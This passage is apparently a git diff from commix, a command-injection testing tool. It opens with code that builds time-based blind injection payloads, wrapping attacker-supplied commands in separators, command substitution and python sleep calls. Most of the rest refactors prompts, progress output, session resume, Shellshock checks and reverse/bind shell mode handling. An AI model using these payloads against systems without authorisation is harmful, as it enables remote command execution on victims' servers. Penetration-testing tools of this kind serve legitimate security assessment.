settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - elif separator == "||" : + elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ff91d6a808..e91b3f2fcd 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -26,7 +26,6 @@ import importlib import gzip import zlib -import traceback import subprocess import contextlib import statistics @@ -37,16 +36,14 @@ from src.utils import settings from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode -from socket import error as SocketError from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters from src.core.requests import stability -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.colorama import Style from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list try: @@ -153,7 +150,6 @@ def payload_fixation(payload): def get_response(output): request = _urllib.request.Request(output) headers.do_check(request) - # Reuse check_http_traffic()'s result instead of sending the request again. response = headers.check_http_traffic(request) if response is None: # Check if defined any HTTP Proxy (--proxy option). @@ -247,7 +243,6 @@ def custom_injection_marker_character(url, http_request_method): _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True if not _: option = "option '--header(s)/--user-agent/--referer/--cookie'" - # Values like 'Accept: */*' or ';q=0.9' legitimately contain '*' - don't misread them as a marker. def has_marker(value): return bool(value) and settings.CUSTOM_INJECTION_MARKER_CHAR in re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value) @@ -287,63 +282,9 @@ def has_marker(value): """ def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + technique_label(injection_type, technique) + ". " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) -""" -Skipping of further tests. -""" -def keep_testing_others(filename, url): - if not settings.LOAD_SESSION: - if settings.SKIP_COMMAND_INJECTIONS: - while True: - message = "Do you want to keep testing the others? [y/N] " - procced_option = common.read_input(message, default="N", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - quit(filename, url, _ = False) - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - -""" -Skipping of further command injection tests. -""" -def skip_testing(filename, url, announce=""): - if not settings.LOAD_SESSION: - command_injection_confirmed = not (settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO) - if command_injection_confirmed: - _ = " further testing" - else: - _ = " testing command injection techniques" - # The parameter is already named in 'announce' right before this - avoid saying it twice. - target = "it" if announce else "the " + settings.CHECKING_PARAMETER - while True: - message = announce + "Do you want to skip" + _ + " on " + target - message += "? (recommended if certain) [Y/n] " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - # "Further testing" must also honor the user's choice for the eval-based engine. - if command_injection_confirmed: - settings.SKIP_CODE_INJECTIONS = True - settings.LOAD_SESSION = False - return True - elif procced_option in settings.CHOICE_NO: - settings.SKIP_COMMAND_INJECTIONS = False - if command_injection_confirmed: - settings.SKIP_CODE_INJECTIONS = False - return False - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - """ Prompt the user to select a mobile User-Agent string. """ @@ -379,7 +320,7 @@ def alert(): try: process = subprocess.Popen(menu.options.alert, shell=True) process.wait() - except Exception as e: + except Exception: err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) @@ -403,14 +344,49 @@ def check_http_method(url): return http_request_method """ -Quit +True (having said so) when Metasploit isn't installed - every msfvenom-backed payload needs it. """ -def quit(filename, url, _): - if settings.LOAD_SESSION: +def metasploit_missing(): + if os.path.exists(settings.METASPLOIT_PATH): + return False + settings.print_data_to_stdout(settings.print_error_msg(settings.METASPLOIT_ERROR_MSG)) + return True + +""" +Suggest '--os-shell', unless it is already in play. +""" +def suggest_os_shell(): + if not menu.options.os_shell: + info_msg = "Re-run with the '--os-shell' switch to access a command shell." + settings.print_data_to_stdout(settings.print_warning_msg(info_msg)) + +""" +Quit - hard_exit ends the process immediately (os._exit), otherwise SystemExit unwinds normally. +""" +def quit(filename, url, hard_exit): + if settings.CONFIRMED_INJECTION_POINTS: + confirmed_injection_points_summary() + suggest_os_shell() + settings.CONFIRMED_INJECTION_POINTS = [] + # Post-detection actions run once, after detection finishes. + for action_fn in list(settings.PENDING_POST_DETECTION_ACTIONS): + action_fn() + settings.PENDING_POST_DETECTION_ACTIONS = [] + # Recurses into quit() when the shell exits; the rest runs there. + if settings.PENDING_OS_SHELL_ENTRY: + entry = settings.PENDING_OS_SHELL_ENTRY + settings.PENDING_OS_SHELL_ENTRY = None + entry() + # Only ask to delete the output file now, at actual exit. + for cleanup_fn in list(settings.PENDING_FILE_CLEANUPS.values()): + cleanup_fn() + settings.PENDING_FILE_CLEANUPS.clear() + if settings.LOAD_SESSION and not settings.LOGS_NOTIFICATION_SHOWN: + settings.LOGS_NOTIFICATION_SHOWN = True logs.logs_notification(filename) logs.print_logs_notification(filename, url) common.show_http_error_codes() - if _: + if hard_exit: raise exit() else: raise SystemExit() @@ -420,10 +396,17 @@ def quit(filename, url, _): """ def user_aborted(filename, url): settings.clear_current_line() + if os.path.exists(settings.CLI_HISTORY): + save_cmd_history() abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) + if settings.LOAD_SESSION and not settings.LOGS_NOTIFICATION_SHOWN: + settings.LOGS_NOTIFICATION_SHOWN = True + logs.logs_notification(filename) + logs.print_logs_notification(filename, url) + common.show_http_error_codes() raise exit() """ @@ -453,13 +436,12 @@ def change_verbosity(): def handle_detection_interrupt(filename, url): settings.clear_current_line() if settings.MULTI_TARGETS: - msg = "How do you want to proceed? [ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " - default = "X" - valid_choices = ("x", "s", "e", "n", "v", "q") + msg = "How do you want to proceed? [(C)ontinue/ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " + valid_choices = ("c", "x", "s", "e", "n", "v", "q") else: - msg = "How do you want to proceed? [(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " - default = "S" - valid_choices = ("s", "e", "n", "v", "q") + msg = "How do you want to proceed? [(C)ontinue/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " + valid_choices = ("c", "s", "e", "n", "v", "q") + default = "C" choice = "q" try: while True: @@ -469,11 +451,11 @@ def handle_detection_interrupt(filename, url): break common.invalid_option(choice) except KeyboardInterrupt: - # A second Ctrl-C here means "quit now" - don't let it escape and re-trigger this same prompt one level up. - settings.print_data_to_stdout(settings.END_LINE.CR) + settings.clear_current_line() choice = "q" - if choice == "v": - # No further prompting - changing verbosity redoes the current technique from the top, not skip past it. + if choice == "c": + raise settings.RetryTechniqueException() + elif choice == "v": change_verbosity() raise settings.RetryTechniqueException() elif choice == "x": @@ -506,8 +488,7 @@ def handle_early_interrupt(filename, url): break common.invalid_option(choice) except KeyboardInterrupt: - # A second Ctrl-C here means "quit now" - don't let it escape and re-trigger this same prompt one level up. - settings.print_data_to_stdout(settings.END_LINE.CR) + settings.clear_current_line() choice = "q" if choice == "v": # No further prompting - changing verbosity just continues (next target). @@ -533,8 +514,7 @@ def handle_exploitation_interrupt(filename, url): break common.invalid_option(choice) except KeyboardInterrupt: - # A second Ctrl-C here means "quit now" - don't let it escape and re-trigger this same prompt one level up. - settings.print_data_to_stdout(settings.END_LINE.CR) + settings.clear_current_line() choice = "q" if choice == "v": # No further prompting - changing verbosity just continues. @@ -579,7 +559,6 @@ def mask_cookie_value(cookie_str): try: set_cookie_header = [] - # Compare cookie names to avoid duplicate server-set values overriding user input. declared_cookies = set(c.split('=')[0].strip() for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)) if menu.options.cookie else set() added_cookies = set() for header, value in response.getheaders(): @@ -651,9 +630,10 @@ def tab_autocompleter(): readline.parse_and_bind("bind ^I rl_complete") else: readline.parse_and_bind("tab: complete") + readline.set_completer_delims(" \t\n") # Tab compliter readline.set_completer(menu.tab_completer) - except (TypeError, AttributeError) as e: + except (TypeError, AttributeError): error_msg = "Failed to initialize tab completion with the platform's readline library." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) @@ -662,25 +642,26 @@ def tab_autocompleter(): """ def load_cmd_history(): try: - cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) + cli_history = settings.CLI_HISTORY if os.path.exists(cli_history): readline.read_history_file(cli_history) - except (IOError, AttributeError, UnicodeError) as e: - warn_msg = "There was a problem loading the history file '" + cli_history + "'." - if settings.IS_WINDOWS: - warn_msg += " See 'https://github.com/pyreadline/pyreadline/issues/30' for more info." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except (IOError, AttributeError, UnicodeError): + if settings.VERBOSITY_LEVEL != 0: + warn_msg = "There was a problem loading the history file '" + cli_history + "'." + if settings.IS_WINDOWS: + warn_msg += " See 'https://github.com/pyreadline/pyreadline/issues/30' for more info." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Save command history. """ def save_cmd_history(): try: - cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) + cli_history = settings.CLI_HISTORY if os.path.exists(cli_history): readline.set_history_length(settings.MAX_HISTORY_LENGTH) readline.write_history_file(cli_history) - except (IOError, AttributeError) as e: + except (IOError, AttributeError): warn_msg = "Unable to write the history file '" + cli_history + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -691,63 +672,41 @@ def testing_technique_title(injection_type, technique): # A new technique's title - the completion label below is free to print again for it. settings.LAST_COMPLETED_TECHNIQUE = None settings.LAST_DOT_BUCKET = -1 + technique = technique_label(injection_type, technique) + announced = (settings.CHECKING_PARAMETER, technique) + title = "Continuing with the " if settings.LAST_ANNOUNCED_TECHNIQUE == announced else "Testing the " + settings.LAST_ANNOUNCED_TECHNIQUE = announced if settings.VERBOSITY_LEVEL != 0: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + info_msg = title + technique + ". " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: # Close a previous technique's dangling "... (done)" line first. settings.clear_current_line() - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ", please wait..." + info_msg = title + technique + ", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) """ -Injection process (percent) - a "." per attempt instead of a live percentage, except for -the terminal markers (all-tested-no-result / already-found), which still replace the line. +Injection progress - a "." as testing advances, " (done)" once the technique is finished. """ -def injection_process(injection_type, technique, percent): - if settings.VERBOSITY_LEVEL == 0: - # Ensure the progress label is shown before appending the prompt result. - if not settings.PROGRESS_LINE_OPEN: - testing_technique_title(injection_type, technique) - if "%" in str(percent): - # One dot per combination can get unreadably long - only cross a 4%-wide bucket. - match = re.search(r"([\d.]+)%", str(percent)) - if match: - bucket = int(float(match.group(1)) // 4) - if bucket == settings.LAST_DOT_BUCKET: - return - settings.LAST_DOT_BUCKET = bucket - settings.print_data_to_stdout(".") - return +def injection_process(injection_type, technique, done=False, i=None, total=None): + if settings.VERBOSITY_LEVEL != 0: + return + if not settings.PROGRESS_LINE_OPEN: + testing_technique_title(injection_type, technique) + if done: # Can be hit once per false-positive retry on the same technique - only print once. if settings.LAST_COMPLETED_TECHNIQUE == technique: return settings.LAST_COMPLETED_TECHNIQUE = technique settings.print_data_to_stdout(" (done)") - - -""" -Percentage calculation -""" -def percentage_calculation(i, total): - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - return percent, float_percent - -""" -Print percentage calculation -""" -def print_percentage(float_percent, no_result, shell): - if float(float_percent) == 100: - if no_result: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif shell: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" - return percent + return + # One dot per combination can get unreadably long - only cross a 4%-wide bucket. + if total: + bucket = int(((i * 100) / total) // 4) + if bucket == settings.LAST_DOT_BUCKET: + return + settings.LAST_DOT_BUCKET = bucket + settings.print_data_to_stdout(".") """ Check value inside boundaries. @@ -766,7 +725,6 @@ def value_inside_boundaries(parameter, http_request_method): modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: parameter = parameter.replace(value_inside_boundaries, pcre_mod_value) - # Keep the marker in sync so the prompt reflects the updated value with '/e'. value_inside_boundaries = pcre_mod_value break elif modifier_check in settings.CHOICE_NO: @@ -794,7 +752,7 @@ def value_inside_boundaries(parameter, http_request_method): else: common.invalid_option(procced_option) pass - except Exception as e: + except Exception: pass return parameter @@ -863,6 +821,10 @@ def process_page_content(response, action): # Handle compressed content content_encoding = response.info().get('Content-Encoding') + try: + response.close() + except Exception: + pass if content_encoding in ("gzip", "x-gzip", "deflate"): try: if content_encoding == 'deflate': @@ -871,7 +833,7 @@ def process_page_content(response, action): else: # gzip / x-gzip with contextlib.closing(gzip.GzipFile(fileobj=io.BytesIO(page), mode='rb')) as gz: page = gz.read() - except (zlib.error, OSError, EOFError) as e: + except (zlib.error, OSError, EOFError): # Only catch relevant decompression errors warn_msg = "Page decompression failed, turning off page compression." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -892,7 +854,7 @@ def process_page_content(response, action): # If there was an error, advise the user if error_occurred: - err_msg += "Rerun with" + err_msg += "Re-run with" if menu.options.codec is None: err_msg += "out" err_msg += " option '--codec'." @@ -994,15 +956,7 @@ def unexploitable_point(retry_attempt=None, retry_total=None): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "Detected a false positive or unexploitable injection point. Trying for re-verification" warn_msg += (" (" + str(retry_attempt) + "/" + str(retry_total) + ").") if retry_attempt else "." - settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) - -""" -Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. -""" -def total_of_requests(): - debug_msg = "Identified the following injection point with " - debug_msg += "a total of " + str(settings.TOTAL_OF_REQUESTS) + " HTTP(S) requests." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Url decode specific chars of the provided payload. @@ -1030,26 +984,6 @@ def assessment_phase(): else: return "exploitation" -""" -Procced to the next attack vector. -""" -def next_attack_vector(technique, go_back, announce=""): - if not settings.LOAD_SESSION: - while True: - message = announce + "Do you want to continue testing using the " + technique + "? [y/N] " - next_attack_vector = common.read_input(message, default="N", check_batch=True) - if next_attack_vector in settings.CHOICE_YES: - # Check injection state - assessment_phase() - return True - elif next_attack_vector in settings.CHOICE_NO: - return False - elif next_attack_vector in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(next_attack_vector) - pass - """ Fix single / double quote escaping. """ @@ -1062,6 +996,21 @@ def escaped_cmd(cmd): cmd = cmd.replace(r"\$","$") return cmd +""" +Escape only the "$" sitting outside single quotes - single-quoted interpreter code (php -r '...', perl -e '...') is +already literal in both a shell and PHP, so a backslash there reaches the interpreter as a syntax error instead. +""" +def escape_unquoted_dollars(payload): + escaped = [] + inside_single_quotes = False + for char in payload: + if char == "'": + inside_single_quotes = not inside_single_quotes + if char == "$" and not inside_single_quotes: + escaped.append("\\") + escaped.append(char) + return "".join(escaped) + """ Removing the first and/or last line of the html content (in case there are/is empty). """ @@ -1086,24 +1035,110 @@ def vulnerable_message(url): if settings.LOAD_SESSION: message += " injection point from stored session" else: - message += " is likely vulnerable" + message += " is vulnerable" message += "." if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) return message +""" +Ask to keep testing others after a confirmed finding - True means stop (quit/break). +""" +def prompt_keep_testing(url): + message = vulnerable_message(url) + " Do you want to keep testing the others (if any)? [y/N] " + procced_option = common.read_input(message, default="N", check_batch=True) + return procced_option in settings.CHOICE_NO + +""" +Reduce a technique name to its bare name for the summary block's "Technique:" line - +drops the "command injection"/"injection" filler word and the trailing "technique" word. +""" +def summary_technique_label(technique): + technique = short_technique_label(technique) + if technique.endswith(" technique"): + technique = technique[:-len(" technique")] + return technique[0].upper() + technique[1:] + +""" +Name the boundary combination a finding was confirmed with - logged, not printed. +""" +def finding_title(separator, whitespace, prefix, suffix): + parts = [] + if separator: + parts.append("'" + separator + "' separator") + if whitespace: + parts.append("'" + whitespace + "' whitespace") + if prefix: + parts.append("prefix '" + prefix + "'") + if suffix: + parts.append("suffix '" + suffix + "'") + return ", ".join(parts) + +""" +The detail lines of a summary block - shared by the console summary and the log file. +""" +def finding_summary_lines(technique, injection_type, payload, title=None): + lines = [" " + settings.SUB_CONTENT_SIGN_TYPE + "Technique: " + summary_technique_label(technique), + " " + settings.SUB_CONTENT_SIGN_TYPE + "Type: " + injection_type[0].upper() + injection_type[1:]] + if title: + lines.append(" " + settings.SUB_CONTENT_SIGN_TYPE + "Boundary: " + title) + lines.append(" " + settings.SUB_CONTENT_SIGN_TYPE + "Payload: " + payload) + return lines + +""" +The parameter header line of a summary block. +""" +def finding_parameter_line(vuln_parameter, http_request_method): + return settings.SUB_CONTENT_SIGN + "'" + vuln_parameter + "' (" + http_request_method + "):" + +""" +Print one block per row, grouped by parameter - rows start with +(technique, injection_type, vuln_parameter, payload, http_request_method). +""" +def _injection_points_summary(header_msg, rows, decode_payload=False): + settings.print_data_to_stdout(Style.BRIGHT + header_msg + Style.RESET_ALL) + prev_parameter = None + for index, row in enumerate(rows): + if index > 0: + settings.print_data_to_stdout("") + technique, injection_type, vuln_parameter, payload, http_request_method = row[:5] + current_parameter = (vuln_parameter, http_request_method) + if current_parameter != prev_parameter: + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "'" + Style.BRIGHT + vuln_parameter + Style.RESET_ALL + "' (" + http_request_method + "):") + prev_parameter = current_parameter + if decode_payload: + payload = str(url_decode(payload)) + for line in finding_summary_lines(technique, injection_type, payload): + settings.print_data_to_stdout(line) + +""" +Print a summary of the injection points restored from a stored session. +""" +def resumed_injection_points_summary(rows): + # Stored payloads are url-encoded, unlike the ones held in memory this run. + _injection_points_summary("Resumed the following injection point(s) from stored session:", rows, decode_payload=True) + +""" +Print a summary of every injection point confirmed this run, deferred until quit() (one block per technique). +""" +def confirmed_injection_points_summary(): + rows = settings.CONFIRMED_INJECTION_POINTS + if len(rows) == 1: + header_msg = "Identified the following injection point with a total of " + str(rows[0][5]) + " HTTP(s) requests:" + else: + header_msg = "Identified the following injection point(s):" + _injection_points_summary(header_msg, rows) + """ Check 'os_shell' options """ -def check_os_shell_options(cmd, technique, go_back, no_result): - if cmd in settings.SHELL_OPTIONS: +def check_os_shell_options(cmd, filename, url): + if cmd in settings.SHELL_OPTIONS or cmd.split(" ", 1)[0] == "use": if cmd == "?": menu.os_shell_options() elif cmd == "back": - if next_attack_vector(technique, go_back) == True: - return True - else: - return False + # Shell opens only after detection - nothing to go back to. + quit(filename, url, hard_exit=True) else: return cmd @@ -1128,29 +1163,16 @@ def procced_with_file_based_technique(): pass """ -Check 'reverse_tcp' options +Map a TCP mode's returned option to an action: 0 stay, 1 back, 2 os_shell, 3 the other mode. """ -def check_reverse_tcp_options(reverse_tcp_option): - if reverse_tcp_option == False: +def check_tcp_mode_result(option, other_mode): + if option == False: return 0 - elif reverse_tcp_option == "back": + elif option == "back": return 1 - elif reverse_tcp_option == "os_shell": + elif option == "os_shell": return 2 - elif reverse_tcp_option == "bind_tcp": - return 3 - -""" -Check 'bind_tcp' options -""" -def check_bind_tcp_options(bind_tcp_option): - if bind_tcp_option == False: - return 0 - elif bind_tcp_option == "back": - return 1 - elif bind_tcp_option == "os_shell": - return 2 - elif bind_tcp_option == "reverse_tcp": + elif option == other_mode: return 3 """ @@ -1262,12 +1284,19 @@ def check_CGI_scripts(url): _ = False for cgi_script in CGI_SCRIPTS: if cgi_script in url: + from src.utils import session_handler + if session_handler.has_stored_shellshock(url): + # Already confirmed - the resumed summary says so. + menu.options.shellshock = True + return + info_msg = "Heuristic (basic) test shows that target URL might be vulnerable to Shellshock " info_msg += "(detected script: '" + cgi_script + "')." _ = True settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + while True: - message = "Do you want to enable the Shellshock module ('--shellshock')? [Y/n] " + message = "Do you want to test for the Shellshock vulnerability, using the '--shellshock' module? [Y/n] " shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True @@ -1293,7 +1322,7 @@ def check_CGI_scripts(url): def check_url(url): try: return _urllib.parse.urlsplit(url) - except ValueError as ex: + except ValueError: err_msg = "Invalid target URL provided. " err_msg += "Please ensure there are no leftover characters (e.g., '[' or ']') " err_msg += "in the hostname part." @@ -1354,7 +1383,7 @@ def check_connection(url): if not settings.MULTI_TARGETS: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except (socket.error, UnicodeError) as e: + except (socket.error, UnicodeError): err_msg = "Problem occurred while " err_msg += "resolving the hostname '" + hostname + "'" if not settings.MULTI_TARGETS: @@ -1494,11 +1523,29 @@ def EOFError_err_msg(): err_msg = "Exiting, due to EOFError." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Ask whether to ignore an already-completed action's stored session and redo it. +""" +def ask_redo_stored_session(verb, redo_action): + while True: + message = "Do you want to ignore stored session and " + verb + " again? [y/N] " + again = common.read_input(message, default="N", check_batch=True) + if again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + redo_action() + return + elif again in settings.CHOICE_NO: + return + elif again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(again) + """ Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - # Already answered this run - reapply it instead of asking again. if settings.UNSTABLE_REQUEST_CHOICE: if settings.UNSTABLE_REQUEST_CHOICE == "c" and settings.UNSTABLE_REQUEST_BUMPS < settings.MAX_UNSTABLE_TIMESEC_BUMP: timesec = timesec + 1 @@ -1531,7 +1578,7 @@ def time_delay_due_to_unstable_request(timesec): True only for a genuinely finished stored value - a partial (interrupted-run) marker isn't a result yet, and must be treated the same as "nothing stored" so the caller re-runs (and thereby resumes) it instead of handing back the raw marker. """ def usable_stored_cmd(stored_value): - return stored_value is not None and not stored_value.startswith(settings.PARTIAL_VALUE_MARKER) + return bool(stored_value) and not stored_value.startswith(settings.PARTIAL_VALUE_MARKER) """ Drop high-latency spikes from a response-time sample via a median/MAD cutoff. @@ -1562,9 +1609,9 @@ def record_baseline_response_time(exec_time): def warm_up_response_baseline(url, http_request_method): if len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES: return - info_msg = "Time-related response comparison requires a larger statistical model" - info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + warn_msg = "Time-related response comparison requires a larger statistical model" + warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: sample = requests.quick_response_time_sample(url, http_request_method) if sample is not None: @@ -1574,6 +1621,7 @@ def warm_up_response_baseline(url, http_request_method): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") settings.close_progress_line() + check_lagging() """ Warns once (whichever call site reaches it first) if the connection is already too jittery to trust automatically, and disables timesec auto-shrinking for the rest of the run. Returns True if lagging is (or was already found to be) detected. @@ -1598,19 +1646,19 @@ def current_delay_threshold(): deviation = statistics.pstdev(sample) if not deviation: return None - if len(sample) < settings.MIN_TIME_RESPONSES and settings.VERBOSITY_LEVEL != 0: - debug_msg = "Time-based standard deviation method used on a model with less than " + str(settings.MIN_TIME_RESPONSES) + " response times." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - return max(settings.MIN_VALID_DELAYED_RESPONSE, statistics.mean(sample) + settings.TIME_STDEV_COEFF * deviation) + mean = statistics.mean(sample) + margin = max(settings.TIME_STDEV_COEFF * deviation, mean * settings.MIN_RELATIVE_DELAY_MARGIN) + return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin) """ Time related shell condition. Uses the adaptive threshold once available, else a fixed one. """ def time_related_shell(url_time_response, exec_time, timesec): + if settings.BASELINE_TARGET: + warm_up_response_baseline(*settings.BASELINE_TARGET) lower_limit = current_delay_threshold() delayed = exec_time >= lower_limit if lower_limit is not None else exec_time >= timesec - # Prompt once on the first delayed exploitation response; use the same gate for delay adjustments. if delayed and settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES @@ -1630,7 +1678,7 @@ def time_related_attaks_msg(): Check if defined "--url-reload" option. """ def reload_url_msg(technique): - warn_msg = "On the " + technique + " technique, the '--url-reload' option is not available." + warn_msg = "On the " + short_technique_label(technique) + ", the '--url-reload' option is not available." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -1681,75 +1729,58 @@ def enable_all_enumeration_options(): menu.options.passwords = True """ -Check provided parameters for tests +Parse -p/--skip into their own lists. """ def check_provided_parameters(): - if menu.options.test_parameter or menu.options.skip_parameter: - if menu.options.test_parameter != None : - if menu.options.test_parameter.startswith("="): - menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TESTABLE_PARAMETERS_LIST = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + def parse_parameter_list(raw): + if raw.startswith("="): + raw = raw[1:] + parsed = raw.split(settings.PARAMETER_SPLITTING_REGEX) + return [p.split("=")[0] if "=" in p else p for p in parsed] - elif menu.options.skip_parameter != None : - if menu.options.skip_parameter.startswith("="): - menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TESTABLE_PARAMETERS_LIST = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + if menu.options.test_parameter: + settings.TESTABLE_PARAMETERS_LIST = parse_parameter_list(menu.options.test_parameter) - for i in range(0,len(settings.TESTABLE_PARAMETERS_LIST)): - if "=" in settings.TESTABLE_PARAMETERS_LIST[i]: - settings.TESTABLE_PARAMETERS_LIST[i] = settings.TESTABLE_PARAMETERS_LIST[i].split("=")[0] + if menu.options.skip_parameter: + settings.SKIP_PARAMETERS_LIST = parse_parameter_list(menu.options.skip_parameter) """ -Remove skipped parameters +-p is an exclusive allowlist, --skip a blocklist, neither given tests everything. """ -def remove_skipped_params(url, check_parameters): - testable_parameters = list(set(check_parameters) - set(menu.options.skip_parameter.split(","))) - settings.TESTABLE_PARAMETERS_LIST = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX)] - _ = [] - for parameter in check_parameters: - if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX): - _.append(parameter) - if _: - info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - menu.options.test_parameter = True +def is_parameter_testable(name): + if settings.TESTABLE_PARAMETERS_LIST: + return name in 